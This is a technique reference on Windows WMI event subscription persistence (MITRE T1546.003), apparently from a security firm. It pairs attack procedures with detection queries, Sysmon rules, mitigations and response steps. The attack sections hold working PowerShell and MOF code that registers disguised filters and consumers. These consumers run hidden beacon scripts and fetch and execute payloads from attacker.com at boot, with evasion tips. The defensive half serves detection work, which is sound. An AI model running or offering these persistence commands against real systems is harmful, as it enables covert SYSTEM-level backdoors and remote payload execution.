| Attribute | Details |
|---|---|
| Technique ID | REALWORLD-028 |
| MITRE ATT&CK v18.1 | T1546.003 - Windows Management Instrumentation Event Subscription |
| Tactic | Persistence / Privilege Escalation |
| Platforms | Windows Endpoint |
| Severity | Critical |
| CVE | N/A |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-10 |
| Affected Versions | Windows Server 2016, 2019, 2022, 2025; Windows 10, 11 |
| Patched In | N/A (Design feature; mitigations available) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: WMI Event Subscriptions allow code execution when specific Windows Management Instrumentation events occur, enabling stealthy persistence with SYSTEM-level privileges. Attackers create three components: an __EventFilter (trigger condition), an __EventConsumer (action to execute), and an __FilterToConsumerBinding (linking filter to consumer). Once registered, the WMI Provider Host process (WmiPrvSe.exe) executes the consumer whenever the filter condition is met (e.g., process creation, logon, time interval). This technique is extremely difficult to detect because the binding is stored in the WMI database and executed by a trusted system process with elevated privileges.
Attack Surface: WMI namespaces (root\subscription, root\default), WMI classes (__EventFilter, __EventConsumer, __FilterToConsumerBinding), and PowerShell WMI cmdlets.
Business Impact: Persistent SYSTEM-Level Code Execution. WMI event subscriptions execute with SYSTEM privileges regardless of the initiating user context. An attacker can establish a backdoor that persists through account lockdowns, credential changes, and even reimaging (if WMI database backup is restored). This is a favorite technique of sophisticated APT groups for establishing long-term persistence.
Technical Context: WMI subscription setup takes seconds to minutes. Detection likelihood is low unless WMI events (Sysmon 19/20/21) are being logged. Persistence is indefinite; WMI subscriptions survive OS updates and account changes.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | CIS Windows Server 2022 8.4.2 | Disable WMI Service unless absolutely necessary |
| DISA STIG | WN10-CC-000125 | WMI must be restricted to prevent unauthorized code execution |
| NIST 800-53 | AC-6 (Least Privilege) | Restrict WMI access to authorized administrators only |
| GDPR | Article 32 | Security of processing; cryptographic controls |
| DORA | Article 9 | Protection measures; incident response |
| NIS2 | Article 21 | Detection and response capabilities |
| ISO 27001 | A.13.2.1 (Segregation of Networks) | Isolation of critical processes like WMI |
| ISO 27005 | Risk Scenario: “Unauthorized WMI Subscription Creation” | Compromise of WMI database enabling persistent code execution |
Objective: Discover existing WMI subscriptions to identify any pre-existing persistence.
Command (List All Subscriptions):
# Connect to WMI namespace
$Namespace = "root\subscription"
# Get all event filters
Get-WmiObject -Namespace $Namespace -Class __EventFilter | `
Select-Object Name, EventNamespace, Query
# Get all event consumers
Get-WmiObject -Namespace $Namespace -Class __EventConsumer | `
Select-Object Name, CommandLineTemplate
# Get all filter-to-consumer bindings
Get-WmiObject -Namespace $Namespace -Class __FilterToConsumerBinding | `
Select-Object Filter, Consumer
What to Look For:
Version Note: Syntax consistent across Server 2016-2025.
Objective: Verify who has write access to the WMI subscription namespace.
Command:
# Get DCOM permissions for WMI
$DCOM = Get-WmiObject -Namespace "root\cimv2" -Class __COMClassSecurityDescriptor -Filter "Name='WbemLocator'"
$DCOM | Select-Object -ExpandProperty Descriptor
# Get namespace-level ACL
Get-WmiObject -Namespace "root\subscription" | Get-Acl
What to Look For:
Supported Versions: Server 2016-2025, Windows 10/11
Objective: Define the trigger condition for the WMI subscription (e.g., process creation, logon event).
Command (PowerShell, as Administrator):
# Define the WMI event filter
# Trigger: Every time a process is created
$FilterParams = @{
'Name' = 'UpdateCheckFilter' # Legitimate-sounding name
'EventNamespace' = 'root\cimv2'
'QueryLanguage' = 'WQL'
'Query' = "SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process'"
}
# Create the filter in WMI namespace root\subscription
$Filter = Set-WmiInstance -Namespace 'root\subscription' -Class '__EventFilter' -Arguments $FilterParams
Write-Host "Event Filter created: $($Filter.Name)"
Expected Output:
Event Filter created: UpdateCheckFilter
What This Means:
root\subscription namespaceObjective: Define the action to execute when the filter is triggered.
Command (PowerShell):
# Define the WMI event consumer (action)
# This consumer will execute a malicious command whenever the filter matches
$ConsumerParams = @{
'Name' = 'UpdateCheckConsumer' # Legitimate-sounding name
'CommandLineTemplate' = 'powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -File C:\Windows\Temp\beacon.ps1'
'ExecutablePath' = 'C:\Windows\System32\cmd.exe' # Can specify CMD or powershell
'ParentProcessPath' = 'C:\Windows\System32\svchost.exe' # Hide under svchost context
}
# Create the consumer
$Consumer = Set-WmiInstance -Namespace 'root\subscription' -Class 'CommandLineEventConsumer' -Arguments $ConsumerParams
Write-Host "Event Consumer created: $($Consumer.Name)"
Expected Output:
Event Consumer created: UpdateCheckConsumer
What This Means:
OpSec & Evasion:
Objective: Link the event filter to the consumer, activating the subscription.
Command (PowerShell):
# Create the binding between filter and consumer
$BindingParams = @{
'Filter' = [Ref]$Filter # Reference to the filter created in Step 1
'Consumer' = [Ref]$Consumer # Reference to the consumer created in Step 2
}
# Register the binding
$Binding = Set-WmiInstance -Namespace 'root\subscription' -Class '__FilterToConsumerBinding' -Arguments $BindingParams
Write-Host "Filter-Consumer binding created: Binding established between $($Filter.Name) and $($Consumer.Name)"
# Verify the subscription is active
Get-WmiObject -Namespace 'root\subscription' -Class '__FilterToConsumerBinding' | Select-Object Filter, Consumer
Expected Output:
Filter-Consumer binding created: Binding established between UpdateCheckFilter and UpdateCheckConsumer
Filter Consumer
------ --------
\\.\root\subscription:__EventFilter... \\.\root\subscription:CommandLineEventConsumer...
What This Means:
Objective: Confirm the WMI subscription is active and will persist.
Command:
# List all active subscriptions
Get-WmiObject -Namespace 'root\subscription' -Class '__FilterToConsumerBinding' | `
ForEach-Object {
$Filter = Get-WmiObject -Namespace 'root\subscription' -Filter "Name='$($_.Filter.Split('"')[1])'" -Class '__EventFilter'
$Consumer = Get-WmiObject -Namespace 'root\subscription' -Filter "Name='$($_.Consumer.Split('"')[1])'" -Class 'CommandLineEventConsumer'
Write-Host "Subscription: $($Filter.Name) → $($Consumer.Name)"
Write-Host " Trigger: $($Filter.Query)"
Write-Host " Action: $($Consumer.CommandLineTemplate)"
Write-Host " ---"
}
Expected Output:
Subscription: UpdateCheckFilter → UpdateCheckConsumer
Trigger: SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process'
Action: powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -File C:\Windows\Temp\beacon.ps1
---
Supported Versions: Server 2016-2025, Windows 10/11
Objective: Define WMI subscription in MOF format for compilation into WMI database.
Command (Create C:\Temp\malicious.mof):
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
Name = "WindowsUpdateFilter";
EventNamespace = "root\\cimv2";
Query = "SELECT * FROM __InstanceModificationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Hour=2";
QueryLanguage = "WQL";
};
instance of CommandLineEventConsumer as $Consumer
{
Name = "WindowsUpdateConsumer";
CommandLineTemplate = "powershell.exe -NoP -W Hidden -C IEX(New-Object Net.WebClient).DownloadString('https://attacker.com/beacon.ps1')";
ExecutablePath = "C:\\Windows\\System32\\cmd.exe";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
What This Means:
Objective: Compile the MOF file to register the WMI subscription permanently.
Command (PowerShell, as Administrator):
# Compile the MOF file
$MofPath = "C:\Temp\malicious.mof"
mofcomp.exe $MofPath
# Verify compilation success
if ($LASTEXITCODE -eq 0) {
Write-Host "MOF compiled successfully; WMI subscription registered"
} else {
Write-Host "MOF compilation failed with error code: $LASTEXITCODE"
}
# Verify subscription is registered
Get-WmiObject -Namespace 'root\subscription' -Class '__FilterToConsumerBinding'
Expected Output:
MOF compiled successfully; WMI subscription registered
(FilterToConsumerBinding objects listed)
What This Means:
OpSec & Evasion:
Supported Versions: Server 2016-2025, Windows 10/11
Objective: Create a filter that triggers when the system starts up.
Command (PowerShell):
# Create filter: Trigger when system boots
$BootFilterParams = @{
'Name' = 'SystemBootNotification'
'EventNamespace' = 'root\cimv2'
'QueryLanguage' = 'WQL'
'Query' = "SELECT * FROM __InstanceModificationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_PerfRawData_PerfOS_System' AND TargetInstance.SystemBootTime != null"
}
$BootFilter = Set-WmiInstance -Namespace 'root\subscription' -Class '__EventFilter' -Arguments $BootFilterParams
Write-Host "Boot filter created: $($BootFilter.Name)"
Expected Output:
Boot filter created: SystemBootNotification
What This Means:
Objective: Consumer executes when boot filter triggers; downloads and runs payload.
Command (PowerShell):
# Create consumer: Download and execute beacon at boot
$BootConsumerParams = @{
'Name' = 'SystemBootConsumer'
'CommandLineTemplate' = 'powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "& { (New-Object System.Net.WebClient).DownloadFile(''https://attacker.com/payload.exe'', ''C:\Windows\Temp\svc_host.exe''); & ''C:\Windows\Temp\svc_host.exe'' }"'
}
$BootConsumer = Set-WmiInstance -Namespace 'root\subscription' -Class 'CommandLineEventConsumer' -Arguments $BootConsumerParams
Write-Host "Boot consumer created: $($BootConsumer.Name)"
Objective: Link the boot trigger to the payload execution.
Command (PowerShell):
# Create binding
$BootBindingParams = @{
'Filter' = [Ref]$BootFilter
'Consumer' = [Ref]$BootConsumer
}
$BootBinding = Set-WmiInstance -Namespace 'root\subscription' -Class '__FilterToConsumerBinding' -Arguments $BootBindingParams
Write-Host "Boot persistence activated; payload will execute on system startup"
Expected Output:
Boot persistence activated; payload will execute on system startup
What This Means:
payload.exe) every time it bootsRule Configuration:
mainWinEventLog:Security or sysmonEventID, Provider, QueryLanguageSPL Query:
index=main sourcetype=sysmon EventID=20 OR EventID=19 OR EventID=21
| stats count by host, User, Image, CommandLine
| where count > 0
Alternative Query (Windows Security Event Log):
index=main sourcetype="WinEventLog:Security"
(CommandLine="*Set-WmiInstance*" OR CommandLine="*__EventFilter*" OR CommandLine="*CommandLineEventConsumer*")
| stats count by host, User, CommandLine
What This Detects:
Manual Configuration Steps:
count > 0Rule Configuration:
mainsysmonEventID, ParentImage, CommandLineSPL Query:
index=main sourcetype=sysmon EventID=1 ParentImage="*WmiPrvSe.exe"
(CommandLine="*powershell*" OR CommandLine="*cmd.exe*" OR CommandLine="*wmic*")
| stats count by host, User, CommandLine, ParentImage
| where count > 0
What This Detects:
Rule Configuration:
SecurityEvent or DeviceProcessEventsEventID, CommandLine, ProcessNameKQL Query:
DeviceProcessEvents
| where ProcessCommandLine contains "Set-WmiInstance"
and (ProcessCommandLine contains "__EventFilter" or ProcessCommandLine contains "CommandLineEventConsumer")
| project TimeGenerated, DeviceName, AccountName, ProcessName, ProcessCommandLine
| summarize count() by DeviceName, AccountName, ProcessCommandLine
| where count > 0
Manual Configuration Steps (Azure Portal):
WMI Event Subscription Creation DetectedCritical10 minutesEvent ID: Not Standard (Requires Sysmon)
Event ID: 4688 (Process Creation)
mofcomp.exe executed or PowerShell with WMI cmdletsCommandLine contains "mofcomp" OR CommandLine contains "Set-WmiInstance"Manual Configuration Steps (Install Sysmon):
<Sysmon schemaversion="4.81">
<EventFiltering>
<WmiEvent onmatch="include"/>
</EventFiltering>
</Sysmon>
sysmon64.exe -accepteula -i sysmon-config.xmlGet-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -MaxEvents 10Minimum Sysmon Version: 6.0.4+
Sysmon Config Snippet:
<!-- Detect WMI Event Subscription Creation -->
<RuleGroup name="WMI Event" groupRelation="or">
<WmiEvent onmatch="include">
<Operation condition="is">Created</Operation>
</WmiEvent>
<WmiEvent onmatch="include">
<Destination condition="contains">CommandLineEventConsumer</Destination>
</WmiEvent>
</RuleGroup>
<!-- Detect MOF Compilation -->
<RuleGroup name="Process Creation" groupRelation="or">
<ProcessCreate onmatch="include">
<Image condition="ends with">mofcomp.exe</Image>
</ProcessCreate>
</RuleGroup>
Manual Configuration Steps:
sysmon-config.xml with the XML abovesysmon64.exe -accepteula -i sysmon-config.xmlGet-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -Filter "*WmiEvent*"Restrict WMI Namespace Access: Limit who can create objects in root\subscription namespace.
Manual Steps (WMI Namespace ACL):
Manual Steps (PowerShell):
# Get current namespace ACL
Get-WmiObject -Namespace "root\subscription" | Get-Acl
# Restrict to Administrators only (advanced approach requires WMI ACL tool)
Disable WMI Service (If Not Required): Stop and disable the Windows Management Instrumentation service if not needed.
Manual Steps:
Manual Steps (PowerShell):
Stop-Service -Name "WinMgmt" -Force
Set-Service -Name "WinMgmt" -StartupType Disabled
Block MOF File Compilation: Prevent mofcomp.exe execution via AppLocker or WDAC.
Manual Steps (AppLocker):
C:\Windows\System32\mofcomp.exeEnable WMI Audit Logging: Monitor WMI activity via Sysmon or Windows Event Log.
Manual Steps (Enable Sysmon WMI Logging):
Implement Behavioral Monitoring: Monitor for WmiPrvSe.exe spawning suspicious child processes.
Manual Steps (Using Splunk):
index=main ParentImage="*WmiPrvSe.exe"
| stats count by host, CommandLine
| where count > 0
Restrict PowerShell Access: Limit who can execute PowerShell scripts via Constrained Language Mode.
Manual Steps (PowerShell Execution Policy):
Set-ExecutionPolicy -ExecutionPolicy Restricted -Scope LocalMachine -Force
Manual Steps (AppLocker for PowerShell):
# Check WMI namespace ACL
Get-WmiObject -Namespace "root\subscription" | Get-Acl
# Verify WMI service is disabled
Get-Service -Name "WinMgmt" | Select-Object Name, StartupType, Status
# Verify AppLocker rules for mofcomp.exe
Get-AppLockerPolicy -Effective | Select-Object -ExpandProperty RuleCollections
# Verify no WMI subscriptions exist
Get-WmiObject -Namespace 'root\subscription' -Class '__FilterToConsumerBinding'
Expected Output (If Secure):
Stopped and StartupType shows Disabledmofcomp.exe executionpowershell.exe with Set-WmiInstance cmdletwbemtest.exe or wmimgmt.msc used to create subscriptionsroot\subscription namespace (__EventFilter, __EventConsumer, __FilterToConsumerBinding)C:\Temp\*.mof, %TEMP%\*.mof)C:\Windows\System32\winevt\Logs\Security.evtx (EventID 4688)C:\ProgramData\Sysmon\ (WMI events 19/20/21)C:\Windows\System32\wbem\Repository\ (binary WMI database)# Stop WMI service immediately
Stop-Service -Name "WinMgmt" -Force
# List all WMI subscriptions (before stopping service)
Get-WmiObject -Namespace 'root\subscription' -Class '__FilterToConsumerBinding' > C:\Evidence\WMI_Subscriptions.txt
# Export WMI repository
Copy-Item "C:\Windows\System32\wbem\Repository" -Destination "C:\Evidence\WMI_Repository" -Recurse
# Export Security Event Log
wevtutil epl Security C:\Evidence\Security.evtx
# Export Sysmon logs if available
wevtutil epl "Microsoft-Windows-Sysmon/Operational" C:\Evidence\Sysmon.evtx
# List and remove WMI subscriptions
Get-WmiObject -Namespace 'root\subscription' -Class '__FilterToConsumerBinding' | Remove-WmiObject -Confirm:$false
Get-WmiObject -Namespace 'root\subscription' -Class '__EventConsumer' | Remove-WmiObject -Confirm:$false
Get-WmiObject -Namespace 'root\subscription' -Class '__EventFilter' | Remove-WmiObject -Confirm:$false
# Restart WMI service
Start-Service -Name "WinMgmt"
# Verify no subscriptions remain
Get-WmiObject -Namespace 'root\subscription' -Class '__FilterToConsumerBinding'
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-005] Internal Spearphishing | Attacker gains initial access via internal email phishing |
| 2 | Privilege Escalation | [PE-EXPLOIT-001] PrintNightmare | Attacker escalates to System/Admin on endpoint |
| 3 | Persistence - Current Step | [REALWORLD-028] WMI Event Subscriber Persistence | Attacker creates WMI subscriptions for persistent SYSTEM-level code execution |
| 4 | Collection | [REALWORLD-030] Registry Credential Dumping | Attacker dumps credentials from registry via WMI consumer execution |
| 5 | Lateral Movement | [LM-AUTH-001] Pass-the-Hash | Attacker uses stolen hashes to move laterally |
| 6 | Impact | [REALWORLD-040] Ransomware via WMI Event | Attacker deploys ransomware through WMI event execution |